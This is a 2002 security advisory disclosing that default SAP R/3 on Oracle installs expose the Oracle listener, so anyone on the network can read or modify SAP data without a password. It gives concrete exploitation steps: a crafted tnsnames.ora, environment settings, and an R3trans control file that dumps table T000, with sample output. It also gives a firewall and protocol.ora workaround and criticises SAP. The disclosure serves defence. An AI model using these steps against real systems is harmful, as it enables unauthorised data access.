Topic: | SAP R/3 on Oracle: vulnerable Default Installation |
Module: | Default Oracle Listener Configuration |
Announced: | 2002-04-27 |
Affects: | All R/3 Releases using SQL*net V2 (3.x, 4.x, 6.10) |
Vendor: | SAP AG, Walldorf, Germany |
Vendor-Status: | 2002-03-03: informed |
2002-03-05: problem acknowledged |
Every user having network access to the oracle listener port on the database host may read/write/modify any SAP data.
Needed knowledge: IP address (and port) of the database host and the System ID (SID). You may get them with a packet sniffer, social engineering or just running sapinfo against a running SAP R/3. sapinfo also tells you the R/3 release, which we'll need (we use R3trans of that release.
With these informations an attacker can create a local user sidadm, craft a tnsnames.ora and an environment for running R3trans.
SID.world = (DESCRIPTION = (ADDRESS_LIST = (ADDRESS = (COMMUNITY = sap.world) (PROTOCOL = TCP) (Host = hostname) (Port = 1527) ) ) (CONNECT_DATA = (SID = SID) (GLOBAL_NAME = SID.world) ) )
And running the commands (note you need the R3trans from the target R/3 release):
sidadm> export TNS_ADMIN=$HOME/ sidadm> export ORACLE_HOME=/oracle/SID sidadm> export ORACLE_SID=SID sidadm> export PATH="$PATH:/oracle/SID/817_32/bin:/usr/sap/SID/SYS/exe/run" sidadm> export dbms_type=ora sidadm> export DIR_LIBRARY=/usr/sap/SID/SYS/exe/run sidadm> export dbs_ora_tnsname=SID sidadm> export TNS_ADMIN=/home/sidadm sidadm> cat control export compress=no client=000 # select table where name = T000 select * from t000 sidadm> R3trans control ... sidadm> strings trans.dat ... q 000SAP AG Walldorf DEM [...] q 001Auslieferungsmandant R11 Kundstadt EUR [...] ...
Any user on the local network can access any SAP data read/write without password. No SAP authority checks are applied.
All R/3 Releases using SQL*net V2 (3.x, 4.x, 6.10), regardless of the Oracle release.
I don't have access to SAP R/3 on other databases, so I can't comment on wether or not they are affected. The vulnerability affects both Unix and NT.
Workaround is to restrict access to the Oracle port either with network means (a firewall) or using the following protocol.ora options on the database server:
tcp.nodelay = true tcp.validnode_checking = yes tcp.invited_nodes = ( hostname, hostname )
SAP should document the impact of not protecting the database port in the security guide. As of now most customers ignore that.
SAP should have added a default protocol.ora to the default installation and/or to the installation guides. And SAP should not use words like "may gain". Spell the consequences out!
SAP should document that changing the database password will not protect the database at all when network access to the listener is possible.
SAP knows that problem since at least November 1999
SAP says in the "security guide":
"By placing your SAP system servers in a separate subnet, you increase the access control to your server LAN, thereby increasing the security level of your system."
This is very vague. Most SAP customers are afraid to add a firewall because that may be a single point of failure and is not seemed neccesary in a "trusted" LAN.
"We discourage placing SAP System servers into any existing subnet without first considering the appropriate security issues".
Uh, and what are these issues? SAP spells never out the there is otherwise NO protection AT ALL.
There is also a paragraph about Packet Filers:
"By specifying a set of rules based on IP addresses and TCP ports, you can select which kinds of network services are accessible over the network. You should configure your router or packet filter to route connecttions to a defined subset of ports only, based on the services that you require."
SAP knows of this hole since at least 1999. This hole has been documented in books about SAP security and on the Internet since July 2000, but SAP never alerted its customers or changed the default installation.
A recent alert to SAP resulted in a "thanks, we are working on a fix", but SAP failed to give a timeframe or strategy they follow to fix the problem. Since the last response was more than a month back, I decided to publish this advisory anyway.
SAP has never issued a public acknowledge, and has no prominent website available to check for security issues and fixes. No, the SAP security guide is not sufficient.
The feedback from SAP has first been timely, but never useful for their customers.
A complete exploit and more remarks are (in German) here.
OSS note 186119.
This advisory got BugTraq-ID 4613